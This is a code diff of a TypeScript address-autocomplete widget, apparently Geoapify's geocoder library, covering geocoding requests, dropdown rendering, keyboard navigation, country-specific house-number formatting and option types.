- public setPreprocessHook(preprocessHookFunc?: (value: string) => string) {
- if (preprocessHookFunc && typeof preprocessHookFunc === 'function') {
- this.preprocessHook = preprocessHookFunc;
- } else {
- this.preprocessHook = null;
- }
- }
-
- public setPostprocessHook(postprocessHookFunc?: (value: string) => string) {
- if (postprocessHookFunc && typeof postprocessHookFunc === 'function') {
- this.postprocessHook = postprocessHookFunc;
- } else {
- this.postprocessHook = null;
- }
- }
-
- public setSendGeocoderRequestFunc(sendGeocoderRequestFunc: (value: string, geocoderAutocomplete: GeocoderAutocomplete) => Promise) {
- if (sendGeocoderRequestFunc && typeof sendGeocoderRequestFunc === 'function') {
- this.sendGeocoderRequestAlt = sendGeocoderRequestFunc;
- } else {
- this.sendGeocoderRequestAlt = null;
- }
- }
-
- public setSendPlaceDetailsRequestFunc(sendPlaceDetailsRequestFunc: (feature: any, geocoderAutocomplete: GeocoderAutocomplete) => Promise) {
- if (sendPlaceDetailsRequestFunc && typeof sendPlaceDetailsRequestFunc === 'function') {
- this.sendPlaceDetailsRequestAlt = sendPlaceDetailsRequestFunc;
- } else {
- this.sendPlaceDetailsRequestAlt = null;
- }
- }
-
- public isOpen(): boolean {
- return !!this.autocompleteItemsElement;
- }
-
- public close() {
- this.closeDropDownList();
- }
-
- public open() {
- if (!this.isOpen()) {
- this.openDropdownAgain();
- }
- }
-
- public sendGeocoderRequest(value: string): Promise {
- return new Promise((resolve, reject) => {
- this.currentPromiseReject = reject;
-
- let url = this.generateUrl(value);
-
- fetch(url)
- .then((response) => {
- if (response.ok) {
- response.json().then(data => resolve(data));
- } else {
- response.json().then(data => reject(data));
- }
- });
- });
- }
-
- public sendPlaceDetailsRequest(feature: any): Promise {
- return new Promise((resolve, reject) => {
-
- if (feature.properties.datasource?.sourcename !== 'openstreetmap' || !feature.properties.place_id) {
- // only OSM data has detailed information; return the original object if the source is different from OSM
- resolve(feature);
- return;
- }
-
- this.currentPlaceDetailsPromiseReject = reject;
- let url = this.generatePlacesUrlUrl(feature.properties.place_id);
-
- fetch(url)
- .then((response) => {
- if (response.ok) {
- response.json().then(data => {
- if (!data.features.length) {
- resolve(feature);
- }
-
- resolve(data.features[0]);
- });
- } else {
- response.json().then(data => reject(data));
- }
- });
- });
- }
-
- /* Execute a function when someone writes in the text field: */
- onUserInput(event: Event) {
- let currentValue = this.inputElement.value;
- let userEnteredValue = this.inputElement.value;
-
- this.inputCallbacks.forEach(callback => callback(currentValue));
-
- /* Close any already open dropdown list */
- this.closeDropDownList();
-
- this.focusedItemIndex = -1;
-
- // Cancel previous request
- if (this.currentPromiseReject) {
- this.currentPromiseReject({
- canceled: true
- });
- this.currentPromiseReject = null;
- }
-
- // Cancel previous timeout
- if (this.currentTimeout) {
- window.clearTimeout(this.currentTimeout);
- this.currentTimeout = null;
- }
-
- if (!currentValue) {
- this.inputClearButton.classList.remove("visible");
- return false;
- }
-
- // Show clearButton when there is a text
- this.inputClearButton.classList.add("visible");
-
-
- this.currentTimeout = window.setTimeout(() => {
- /* Create a new promise and send geocoding request */
- if (this.preprocessHook && typeof this.preprocessHook === 'function') {
- currentValue = this.preprocessHook(currentValue);
- }
-
- let promise;
-
- if (this.sendGeocoderRequestAlt) {
- promise = this.sendGeocoderRequestAlt(currentValue, this);
- } else {
- promise = this.sendGeocoderRequest(currentValue);
- }
-
- promise.then((data: any) => {
-
- if (data.features && data.features.length &&
- data?.query?.parsed &&
- (this.options.allowNonVerifiedHouseNumber || this.options.allowNonVerifiedStreet)) {
-
- this.extendByNonVerifiedValues(data.features, data?.query?.parsed);
- }
-
- this.currentItems = data.features;
-
- if (this.currentItems && this.currentItems.length && this.suggestionsFilter && typeof this.suggestionsFilter === 'function') {
- this.currentItems = this.suggestionsFilter(this.currentItems);
- }
-
- this.notifySuggestions(this.currentItems);
-
- if (!this.currentItems.length) {
- return;
- }
-
- /*create a DIV element that will contain the items (values):*/
- this.autocompleteItemsElement = document.createElement("div");
- this.autocompleteItemsElement.setAttribute("class", "geoapify-autocomplete-items");
-
- this.notifyOpened();
-
- /* Append the DIV element as a child of the autocomplete container:*/
- this.container.appendChild(this.autocompleteItemsElement);
- /* For each item in the results */
- this.currentItems.forEach((feature: any, index: number) => {
- /* Create a DIV element for each element: */
- const itemElement = document.createElement("div");
- itemElement.classList.add('geoapify-autocomplete-item');
-
-
- if (!this.options.skipIcons) {
- const iconElement = document.createElement("span");
- iconElement.classList.add('icon');
-
- this.addFeatureIcon(iconElement, feature.properties.result_type, feature.properties.country_code);
-
- itemElement.appendChild(iconElement);
- }
-
- const textElement = document.createElement("span");
- textElement.classList.add('address');
-
- if (this.postprocessHook && typeof this.postprocessHook === 'function') {
- const value = this.postprocessHook(feature);
- textElement.innerHTML = this.getStyledAddressSingleValue(value, userEnteredValue);
- } else {
- textElement.innerHTML = this.getStyledAddress(feature.properties, userEnteredValue);
- }
-
- itemElement.appendChild(textElement);
-
- itemElement.addEventListener("click", (e) => {
- event.stopPropagation();
- this.setValueAndNotify(this.currentItems[index])
- });
- this.autocompleteItemsElement.appendChild(itemElement);
- });
- }, (err) => {
- if (!err.canceled) {
- console.log(err);
- }
- });
- }, this.options.debounceDelay);
- }
-
- private addHouseNumberToFormatted(featureProperties: any, street: string, housenumber: string) {
- const houseNumberAndStreetFormatsPerCountry: { [key: string]: string[] } = {
- "{{{road}}} {{{house_number}}}": ["af", "ai", "al", "ao", "ar", "at", "aw", "ax", "ba", "be", "bg", "bi", "bo", "bq", "br", "bs", "bt", "bv", "bw", "cf", "ch", "cl", "cm", "co", "cr", "cu", "cv", "cw", "cy", "cz", "de", "dk", "do", "ec", "ee", "eh", "er", "et", "fi", "fo", "gd", "ge", "gl", "gq", "gr", "gt", "gw", "hn", "hr", "ht", "hu", "id", "il", "ir", "is", "jo", "ki", "km", "kp", "kw", "lc", "li", "lr", "lt", "lv", "ly", "me", "mk", "ml", "mn", "mo", "mx", "ni", "nl", "no", "np", "pa", "pe", "pl", "ps", "pt", "pw", "py", "qa", "ro", "rs", "ru", "sb", "sd", "se", "si", "sj", "sk", "so", "sr", "ss", "st", "sv", "sx", "sz", "td", "tj", "tl", "tr", "um", "uz", "uy", "vc", "ve", "vu", "ws"],
- "{{{house_number}}} {{{road}}}": ["ad", "ae", "ag", "am", "as", "au", "az", "bb", "bd", "bf", "bh", "bl", "bm", "bz", "ca", "cc", "ci", "ck", "cn", "cx", "dj", "dm", "dz", "eg", "fj", "fk", "fm", "fr", "ga", "gb", "gf", "gg", "gh", "gi", "gm", "gn", "gp", "gs", "gu", "gy", "hk", "hm", "ie", "im", "io", "iq", "je", "jm", "jp", "ke", "kh", "kn", "kr", "ky", "lb", "lk", "ls", "lu", "ma", "mc", "mf", "mh", "mg", "mm", "mp", "ms", "mt", "mq", "mv", "mw", "my", "na", "nc", "ne", "nf", "ng", "nr", "nu", "nz", "om", "pf", "pg", "ph", "pk", "pm", "pr", "re", "rw", "sa", "sc", "sg", "sh", "sl", "sn", "tc", "tf", "th", "tk", "tn", "to", "tt", "tv", "tw", "tz", "ug", "us", "vg", "vi", "wf", "yt", "za", "zm", "zw"],
- "{{{road}}}, {{{house_number}}}": ["by", "es", "it", "kg", "kz", "md", "mz", "sm", "sy", "ua", "va"],
- "{{{house_number}}}, {{{road}}}": ["bj", "bn", "cd", "cg", "in", "la", "mr", "mu", "tg", "tm", "vn", "ye"]
- }
-
- const format = Object.keys(houseNumberAndStreetFormatsPerCountry).find(key => houseNumberAndStreetFormatsPerCountry[key].indexOf(featureProperties.country_code) >= 0) || "{{{road}}} {{{house_number}}}";
-
- if (street) {
- // add street and housenumber
- featureProperties.street = street.replace(/(^\w|\s\w|[-]\w)/g, m => m.toUpperCase());
-
- featureProperties.housenumber = housenumber;
- const addressPart = format.replace("{{{road}}}", featureProperties.street).replace("{{{house_number}}}", housenumber);
- featureProperties.address_line1 = addressPart;
- featureProperties.address_line2 = featureProperties.formatted;
-
- featureProperties.formatted = addressPart + ", " + featureProperties.formatted;
- } else {
- // add house number only
- featureProperties.housenumber = housenumber;
- const addressPart = format.replace("{{{road}}}", featureProperties.street).replace("{{{house_number}}}", housenumber);
-
- featureProperties.address_line1 = featureProperties.address_line1.replace(featureProperties.street, addressPart);;
- featureProperties.formatted = featureProperties.formatted.replace(featureProperties.street, addressPart);
- }
- }
-
- private extendByNonVerifiedValues(features: any, parsedAddress: any) {
- features.forEach((feature: any) => {
- if (parsedAddress.housenumber &&
- this.options.allowNonVerifiedHouseNumber && feature.properties.rank.match_type === "match_by_street") {
- // add housenumber
- this.addHouseNumberToFormatted(feature.properties, null, parsedAddress.housenumber)
- feature.properties.nonVerifiedParts = ["housenumber"];
- } else if (parsedAddress.street && parsedAddress.housenumber &&
- this.options.allowNonVerifiedStreet &&
- (feature.properties.rank.match_type === "match_by_city_or_disrict" || feature.properties.rank.match_type === "match_by_postcode")) {
- // add housenumber and street
- this.addHouseNumberToFormatted(feature.properties, parsedAddress.street, parsedAddress.housenumber)
- feature.properties.nonVerifiedParts = ["housenumber", "street"];
- } else if (parsedAddress.street &&
- this.options.allowNonVerifiedStreet &&
- (feature.properties.rank.match_type === "match_by_city_or_disrict" || feature.properties.rank.match_type === "match_by_postcode")) {
- // add street
- feature.properties.street = parsedAddress.street.replace(/(^\w|\s\w|[-]\w)/g, (m: string) => m.toUpperCase());
-
- feature.properties.address_line1 = feature.properties.street;
- feature.properties.address_line2 = feature.properties.formatted;
-
- feature.properties.formatted = feature.properties.street + ", " + feature.properties.formatted;
- feature.properties.nonVerifiedParts = ["street"];
- }
- });
- }
-
- private getStyledAddressSingleValue(value: string, currentValue: string): string {
- let displayValue = value;
-
- const valueIndex = (displayValue || '').toLowerCase().indexOf(currentValue.toLowerCase());
- if (valueIndex >= 0) {
- displayValue = displayValue.substring(0, valueIndex) +
- `${displayValue.substring(valueIndex, valueIndex + currentValue.length)} ` +
- displayValue.substring(valueIndex + currentValue.length);
- }
-
- return `${displayValue} `
- }
-
- private getStyledAddress(featureProperties: any, currentValue: string): string {
- let mainPart: string;
- let secondaryPart: string;
- const parts = featureProperties.formatted.split(',').map((part: string) => part.trim());
-
- if (featureProperties.name) {
- mainPart = parts[0];
- secondaryPart = parts.slice(1).join(', ');
- } else {
- const mainElements = Math.min(2, Math.max(parts.length - 2, 1));
- mainPart = parts.slice(0, mainElements).join(', ');
- secondaryPart = parts.slice(mainElements).join(', ');
- }
-
- if (featureProperties.nonVerifiedParts && featureProperties.nonVerifiedParts.length) {
- featureProperties.nonVerifiedParts.forEach((part: string) => {
- mainPart = mainPart.replace(featureProperties[part], `${featureProperties[part]} `);
- });
- } else {
- const valueIndex = mainPart.toLowerCase().indexOf(currentValue.toLowerCase());
- if (valueIndex >= 0) {
- mainPart = mainPart.substring(0, valueIndex) +
- `${mainPart.substring(valueIndex, valueIndex + currentValue.length)} ` +
- mainPart.substring(valueIndex + currentValue.length);
-
- }
- }
-
- return `${mainPart} ${secondaryPart} `
- }
-
- private onUserKeyPress(event: KeyboardEvent) {
- if (this.autocompleteItemsElement) {
-
- const itemElements: HTMLCollectionOf = this.autocompleteItemsElement.getElementsByTagName("div");
- if (event.code === 'ArrowDown') {
- event.preventDefault();
-
- /*If the arrow DOWN key is pressed, increase the focusedItemIndex variable:*/
- this.focusedItemIndex++;
- if (this.focusedItemIndex >= itemElements.length) this.focusedItemIndex = 0;
- /*and and make the current item more visible:*/
- this.setActive(itemElements, this.focusedItemIndex);
- } else if (event.code === 'ArrowUp') {
- event.preventDefault();
-
- /*If the arrow UP key is pressed, decrease the focusedItemIndex variable:*/
- this.focusedItemIndex--;
- if (this.focusedItemIndex < 0) this.focusedItemIndex = (itemElements.length - 1);
- /*and and make the current item more visible:*/
- this.setActive(itemElements, this.focusedItemIndex);
- } else if (event.code === "Enter") {
- /* If the ENTER key is pressed and value as selected, close the list*/
- event.preventDefault();
- if (this.focusedItemIndex > -1) {
- if (this.options.skipSelectionOnArrowKey) {
- // select the location if it wasn't selected by navigation
- this.setValueAndNotify(this.currentItems[this.focusedItemIndex]);
- } else {
- this.closeDropDownList();
- }
- }
- } else if (event.code === "Escape") {
- /* If the ESC key is presses, close the list */
- this.closeDropDownList();
- }
- } else {
- if (event.code == 'ArrowDown') {
- /* Open dropdown list again */
- this.openDropdownAgain();
- }
- }
- }
-
- private setActive(items: HTMLCollectionOf, index: number) {
- if (!items || !items.length) return false;
-
- for (var i = 0; i < items.length; i++) {
- items[i].classList.remove("active");
- }
-
- /* Add class "autocomplete-active" to the active element*/
- items[index].classList.add("active");
-
- if (!this.options.skipSelectionOnArrowKey) {
- // Change input value and notify
- if (this.postprocessHook && typeof this.postprocessHook === 'function') {
- this.inputElement.value = this.postprocessHook(this.currentItems[index]);
- } else {
- this.inputElement.value = this.currentItems[index].properties.formatted;
- }
- this.notifyValueSelected(this.currentItems[index]);
- }
- }
-
-
- private setValueAndNotify(feature: any) {
- if (this.postprocessHook && typeof this.postprocessHook === 'function') {
- this.inputElement.value = this.postprocessHook(feature);
- } else {
- this.inputElement.value = feature.properties.formatted;
- }
-
-
- this.notifyValueSelected(feature);
-
- /* Close the list of autocompleted values: */
- this.closeDropDownList();
- }
-
- private clearFieldAndNotify(event: MouseEvent) {
- event.stopPropagation();
- this.inputElement.value = '';
- this.inputClearButton.classList.remove("visible");
-
- // Cancel previous request
- if (this.currentPromiseReject) {
- this.currentPromiseReject({
- canceled: true
- });
- this.currentPromiseReject = null;
- }
-
- // Cancel previous timeout
- if (this.currentTimeout) {
- window.clearTimeout(this.currentTimeout);
- this.currentTimeout = null;
- }
-
- this.closeDropDownList();
-
- // notify here
- this.notifyValueSelected(null);
- }
-
- private closeDropDownList() {
- if (this.autocompleteItemsElement) {
- this.container.removeChild(this.autocompleteItemsElement);
- this.autocompleteItemsElement = null;
- this.notifyClosed();
- }
- }
-
- private addIcon(element: HTMLElement, icon: string) {
-
- //FortAwesome icons 5. Licence - https://fontawesome.com/license/free
-
- const icons: { [key: string]: any } = {
- "close": {
- path: "M19 6.41L17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z",
- viewbox: "0 0 24 24"
- },
- "map-marker": {
- path: "M172.268 501.67C26.97 291.031 0 269.413 0 192 0 85.961 85.961 0 192 0s192 85.961 192 192c0 77.413-26.97 99.031-172.268 309.67-9.535 13.774-29.93 13.773-39.464 0zM192 272c44.183 0 80-35.817 80-80s-35.817-80-80-80-80 35.817-80 80 35.817 80 80 80z",
- viewbox: "0 0 384 512"
- },
- "road": {
- path: "M573.19 402.67l-139.79-320C428.43 71.29 417.6 64 405.68 64h-97.59l2.45 23.16c.5 4.72-3.21 8.84-7.96 8.84h-29.16c-4.75 0-8.46-4.12-7.96-8.84L267.91 64h-97.59c-11.93 0-22.76 7.29-27.73 18.67L2.8 402.67C-6.45 423.86 8.31 448 30.54 448h196.84l10.31-97.68c.86-8.14 7.72-14.32 15.91-14.32h68.8c8.19 0 15.05 6.18 15.91 14.32L348.62 448h196.84c22.23 0 36.99-24.14 27.73-45.33zM260.4 135.16a8 8 0 0 1 7.96-7.16h39.29c4.09 0 7.53 3.09 7.96 7.16l4.6 43.58c.75 7.09-4.81 13.26-11.93 13.26h-40.54c-7.13 0-12.68-6.17-11.93-13.26l4.59-43.58zM315.64 304h-55.29c-9.5 0-16.91-8.23-15.91-17.68l5.07-48c.86-8.14 7.72-14.32 15.91-14.32h45.15c8.19 0 15.05 6.18 15.91 14.32l5.07 48c1 9.45-6.41 17.68-15.91 17.68z",
- viewbox: "0 0 576 512"
- },
- "city": {
- path: "M616 192H480V24c0-13.26-10.74-24-24-24H312c-13.26 0-24 10.74-24 24v72h-64V16c0-8.84-7.16-16-16-16h-16c-8.84 0-16 7.16-16 16v80h-64V16c0-8.84-7.16-16-16-16H80c-8.84 0-16 7.16-16 16v80H24c-13.26 0-24 10.74-24 24v360c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V216c0-13.26-10.75-24-24-24zM128 404c0 6.63-5.37 12-12 12H76c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12H76c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12H76c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm128 192c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm160 96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12V76c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm160 288c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40z",
- viewbox: "0 0 640 512"
- }
- }
-
- var svgElement = document.createElementNS("http://www.w3.org/2000/svg", 'svg');
- svgElement.setAttribute('viewBox', icons[icon].viewbox);
- svgElement.setAttribute('height', "24");
-
- var iconElement = document.createElementNS("http://www.w3.org/2000/svg", 'path');
- iconElement.setAttribute("d", icons[icon].path);
- iconElement.setAttribute('fill', 'currentColor');
- svgElement.appendChild(iconElement);
- element.appendChild(svgElement);
- }
-
- private addFeatureIcon(element: HTMLElement, type: string, countryCode: string) {
- const iconMap: any = {
- 'unknown': 'map-marker',
- 'amenity': 'map-marker',
- 'building': 'map-marker',
- 'street': 'road',
- 'suburb': 'city',
- 'district': 'city',
- 'postcode': 'city',
- 'city': 'city',
- 'county': 'city',
- 'state': 'city'
- };
-
- const countryData = countiesData.find(county => countryCode && county.code.toLowerCase() === countryCode.toLowerCase());
-
- if ((type === 'country') && countryData) {
- element.classList.add("emoji");;
- const emojiElement = document.createElement('span');
- emojiElement.innerText = countryData.emoji;
- element.appendChild(emojiElement);
- } else if (iconMap[type]) {
- this.addIcon(element, iconMap[type])
- } else {
- this.addIcon(element, 'map-marker');
- }
- }
-
- private notifyValueSelected(feature: any) {
-
- // Cancel previous place details request
- if (this.currentPlaceDetailsPromiseReject) {
- this.currentPlaceDetailsPromiseReject({
- canceled: true
- });
- this.currentPlaceDetailsPromiseReject = null;
- }
-
- if (!this.options.addDetails || !feature || feature.properties.nonVerifiedParts?.length) {
- this.changeCallbacks.forEach(callback => callback(feature));
- } else {
-
- let promise;
-
- if (this.sendPlaceDetailsRequestAlt) {
- promise = this.sendPlaceDetailsRequestAlt(feature, this)
- } else {
- promise = this.sendPlaceDetailsRequest(feature);
- }
-
- promise.then((detailesFeature: any) => {
- this.changeCallbacks.forEach(callback => callback(detailesFeature));
- this.currentPlaceDetailsPromiseReject = null;
- }, (err) => {
- if (!err.canceled) {
- console.log(err);
- this.changeCallbacks.forEach(callback => callback(feature));
- this.currentPlaceDetailsPromiseReject = null;
- }
- });
- }
- }
-
- private notifySuggestions(features: any) {
- this.suggestionsChangeCallbacks.forEach(callback => callback(features));
- }
-
- private notifyOpened() {
- this.openCallbacks.forEach(callback => callback(true));
- }
-
- private notifyClosed() {
- this.closeCallbacks.forEach(callback => callback(false));
- }
-
- private openDropdownAgain() {
- const event = document.createEvent('Event');
- event.initEvent('input', true, true);
- this.inputElement.dispatchEvent(event);
- }
-
- private generatePlacesUrlUrl(placeId: string): string {
- let url = `${this.placeDetailsUrl}?id=${placeId}&apiKey=${this.apiKey}`;
- if (this.options.lang) {
- url += `&lang=${this.options.lang}`;
- }
- return url;
- }
-
- private generateUrl(value: string): string {
- let url = `${this.geocoderUrl}?text=${encodeURIComponent(value)}&apiKey=${this.apiKey}`;
- // Add type of the location if set. Learn more about possible parameters on https://apidocs.geoapify.com/docs/geocoding/api/api
- if (this.options.type) {
- url += `&type=${this.options.type}`;
- }
-
- if (this.options.limit) {
- url += `&limit=${this.options.limit}`;
- }
-
- if (this.options.lang) {
- url += `&lang=${this.options.lang}`;
- }
-
- const filters = [];
- const filterByCountryCodes: ByCountryCodeOptions = this.options.filter[this.BY_COUNTRYCODE] as ByCountryCodeOptions;
- const filterByCircle: ByCircleOptions = this.options.filter[this.BY_CIRCLE] as ByCircleOptions;
- const filterByRect: ByRectOptions = this.options.filter[this.BY_RECT] as ByRectOptions;
- const filterByPlace: string = this.options.filter[this.BY_PLACE] as string;
-
- if (filterByCountryCodes && filterByCountryCodes.length) {
- filters.push(`countrycode:${filterByCountryCodes.join(',').toLowerCase()}`);
- }
-
- if (filterByCircle && this.isLatitude(filterByCircle.lat) && this.isLongitude(filterByCircle.lon) && filterByCircle.radiusMeters > 0) {
- filters.push(`circle:${filterByCircle.lon},${filterByCircle.lat},${filterByCircle.radiusMeters}`);
- }
-
- if (filterByRect && this.isLatitude(filterByRect.lat1) && this.isLongitude(filterByRect.lon1) && this.isLatitude(filterByRect.lat2) && this.isLongitude(filterByRect.lon2)) {
- filters.push(`rect:${filterByRect.lon1},${filterByRect.lat1},${filterByRect.lon2},${filterByRect.lat2}`);
- }
-
- if (filterByPlace) {
- filters.push(`place:${filterByPlace}`);
- }
-
-
- url += filters.length ? `&filter=${filters.join('|')}` : '';
-
- const bias = [];
- const biasByCountryCodes: ByCountryCodeOptions = this.options.bias[this.BY_COUNTRYCODE] as ByCountryCodeOptions;
- const biasByCircle: ByCircleOptions = this.options.bias[this.BY_CIRCLE] as ByCircleOptions;
- const biasByRect: ByRectOptions = this.options.bias[this.BY_RECT] as ByRectOptions;
- const biasByProximity: ByProximityOptions = this.options.bias[this.BY_PROXIMITY] as ByProximityOptions;
-
- if (biasByCountryCodes && biasByCountryCodes.length) {
- bias.push(`countrycode:${biasByCountryCodes.join(',').toLowerCase()}`);
- }
-
- if (biasByCircle && this.isLatitude(biasByCircle.lat) && this.isLongitude(biasByCircle.lon) && biasByCircle.radiusMeters > 0) {
- bias.push(`circle:${biasByCircle.lon},${biasByCircle.lat},${biasByCircle.radiusMeters}`);
- }
-
- if (biasByRect && this.isLatitude(biasByRect.lat1) && this.isLongitude(biasByRect.lon1) && this.isLatitude(biasByRect.lat2) && this.isLongitude(biasByRect.lon2)) {
- bias.push(`rect:${biasByRect.lon1},${biasByRect.lat1},${biasByRect.lon2},${biasByRect.lat2}`);
- }
-
- if (biasByProximity && this.isLatitude(biasByProximity.lat) && this.isLongitude(biasByProximity.lon)) {
- bias.push(`proximity:${biasByProximity.lon},${biasByProximity.lat}`);
- }
-
- url += bias.length ? `&bias=${bias.join('|')}` : '';
-
- return url;
- }
-
- private isLatitude(num: any) {
- return num !== '' && num !== null && isFinite(num) && Math.abs(num) <= 90;
- }
-
- private isLongitude(num: any) {
- return num !== '' && num !== null && isFinite(num) && Math.abs(num) <= 180;
- }
-}
-
-export interface GeocoderAutocompleteOptions {
- type?: LocationType;
- lang?: SupportedLanguage;
- limit?: number;
- placeholder?: string;
- debounceDelay?: number;
-
- filter?: { [key: string]: ByCircleOptions | ByCountryCodeOptions | ByRectOptions | string },
- bias?: { [key: string]: ByCircleOptions | ByCountryCodeOptions | ByRectOptions | ByProximityOptions },
-
- skipIcons?: boolean;
-
-/**
- * @deprecated The property should not be used; it is true by default. Use the addDetails property to add details.
- */
- skipDetails?: boolean;
-
- addDetails?: boolean;
-
- skipSelectionOnArrowKey?: boolean;
-
- // to remove in the next version
- position?: GeoPosition;
- countryCodes?: CountyCode[];
-
- // extend results with non verified values if needed
- allowNonVerifiedHouseNumber?: boolean;
- allowNonVerifiedStreet?: boolean;
-}
-
-export interface GeoPosition {
- lat: number;
- lon: number;
-}
-
-export type ByCountryCodeOptions = CountyCode[];
-
-export interface ByProximityOptions {
- lon: number;
- lat: number;
-}
-
-export interface ByCircleOptions {
- lon: number;
- lat: number;
- radiusMeters: number;
-}
-
-export interface ByRectOptions {
- lon1: number;
- lat1: number;
- lon2: number;
- lat2: number;
-}
-
-export type LocationType = 'country' | 'state' | 'city' | 'postcode' | 'street' | 'amenity';
-export type SupportedLanguage = "ab" | "aa" | "af" | "ak" | "sq" | "am" | "ar" | "an" | "hy" | "as" | "av" | "ae" | "ay" | "az" | "bm" | "ba" | "eu" | "be" | "bn" | "bh" | "bi" | "bs" | "br" | "bg" | "my" | "ca" | "ch" | "ce" | "ny" | "zh" | "cv" | "kw" | "co" | "cr" | "hr" | "cs" | "da" | "dv" | "nl" | "en" | "eo" | "et" | "ee" | "fo" | "fj" | "fi" | "fr" | "ff" | "gl" | "ka" | "de" | "el" | "gn" | "gu" | "ht" | "ha" | "he" | "hz" | "hi" | "ho" | "hu" | "ia" | "id" | "ie" | "ga" | "ig" | "ik" | "io" | "is" | "it" | "iu" | "ja" | "jv" | "kl" | "kn" | "kr" | "ks" | "kk" | "km" | "ki" | "rw" | "ky" | "kv" | "kg" | "ko" | "ku" | "kj" | "la" | "lb" | "lg" | "li" | "ln" | "lo" | "lt" | "lu" | "lv" | "gv" | "mk" | "mg" | "ms" | "ml" | "mt" | "mi" | "mr" | "mh" | "mn" | "na" | "nv" | "nb" | "nd" | "ne" | "ng" | "nn" | "no" | "ii" | "nr" | "oc" | "oj" | "cu" | "om" | "or" | "os" | "pa" | "pi" | "fa" | "pl" | "ps" | "pt" | "qu" | "rm" | "rn" | "ro" | "ru" | "sa" | "sc" | "sd" | "se" | "sm" | "sg" | "sr" | "gd" | "sn" | "si" | "sk" | "sl" | "so" | "st" | "es" | "su" | "sw" | "ss" | "sv" | "ta" | "te" | "tg" | "th" | "ti" | "bo" | "tk" | "tl" | "tn" | "to" | "tr" | "ts" | "tt" | "tw" | "ty" | "ug" | "uk" | "ur" | "uz" | "ve" | "vi" | "vo" | "wa" | "cy" | "wo" | "fy" | "xh" | "yi" | "yo" | "za";
-export type CountyCode = "none" | "auto" | "ad" | "ae" | "af" | "ag" | "ai" | "al" | "am" | "an" | "ao" | "ap" | "aq" | "ar" | "as" | "at" | "au" | "aw" | "az" | "ba" | "bb" | "bd" | "be" | "bf" | "bg" | "bh" | "bi" | "bj" | "bm" | "bn" | "bo" | "br" | "bs" | "bt" | "bv" | "bw" | "by" | "bz" | "ca" | "cc" | "cd" | "cf" | "cg" | "ch" | "ci" | "ck" | "cl" | "cm" | "cn" | "co" | "cr" | "cu" | "cv" | "cx" | "cy" | "cz" | "de" | "dj" | "dk" | "dm" | "do" | "dz" | "ec" | "ee" | "eg" | "eh" | "er" | "es" | "et" | "eu" | "fi" | "fj" | "fk" | "fm" | "fo" | "fr" | "ga" | "gb" | "gd" | "ge" | "gf" | "gh" | "gi" | "gl" | "gm" | "gn" | "gp" | "gq" | "gr" | "gs" | "gt" | "gu" | "gw" | "gy" | "hk" | "hm" | "hn" | "hr" | "ht" | "hu" | "id" | "ie" | "il" | "in" | "io" | "iq" | "ir" | "is" | "it" | "jm" | "jo" | "jp" | "ke" | "kg" | "kh" | "ki" | "km" | "kn" | "kp" | "kr" | "kw" | "ky" | "kz" | "la" | "lb" | "lc" | "li" | "lk" | "lr" | "ls" | "lt" | "lu" | "lv" | "ly" | "ma" | "mc" | "md" | "me" | "mg" | "mh" | "mk" | "ml" | "mm" | "mn" | "mo" | "mp" | "mq" | "mr" | "ms" | "mt" | "mu" | "mv" | "mw" | "mx" | "my" | "mz" | "na" | "nc" | "ne" | "nf" | "ng" | "ni" | "nl" | "no" | "np" | "nr" | "nu" | "nz" | "om" | "pa" | "pe" | "pf" | "pg" | "ph" | "pk" | "pl" | "pm" | "pr" | "ps" | "pt" | "pw" | "py" | "qa" | "re" | "ro" | "rs" | "ru" | "rw" | "sa" | "sb" | "sc" | "sd" | "se" | "sg" | "sh" | "si" | "sj" | "sk" | "sl" | "sm" | "sn" | "so" | "sr" | "st" | "sv" | "sy" | "sz" | "tc" | "td" | "tf" | "tg" | "th" | "tj" | "tk" | "tm" | "tn" | "to" | "tr" | "tt" | "tv" | "tw" | "tz" | "ua" | "ug" | "um" | "us" | "uy" | "uz" | "va" | "vc" | "ve" | "vg" | "vi" | "vn" | "vu" | "wf" | "ws" | "ye" | "yt" | "za" | "zm" | "zw";
+
+import countiesData from "./countries.json";
+
+export class GeocoderAutocomplete {
+
+ private inputElement: HTMLInputElement;
+ private inputClearButton: HTMLElement;
+ private autocompleteItemsElement: HTMLElement = null;
+
+ /* Focused item in the autocomplete list. This variable is used to navigate with buttons */
+ private focusedItemIndex: number;
+
+ /* Current autocomplete items data (GeoJSON.Feature) */
+ private currentItems: any;
+
+ /* Active request promise reject function. To be able to cancel the promise when a new request comes */
+ private currentPromiseReject: any;
+
+ /* Active place details request promise reject function */
+ private currentPlaceDetailsPromiseReject: any;
+
+ /* We set timeout before sending a request to avoid unnecessary calls */
+ private currentTimeout: number;
+
+ private changeCallbacks: ((selectedOption: any) => void)[] = [];
+ private suggestionsChangeCallbacks: ((options: any[]) => void)[] = [];
+ private inputCallbacks: ((input: string) => void)[] = [];
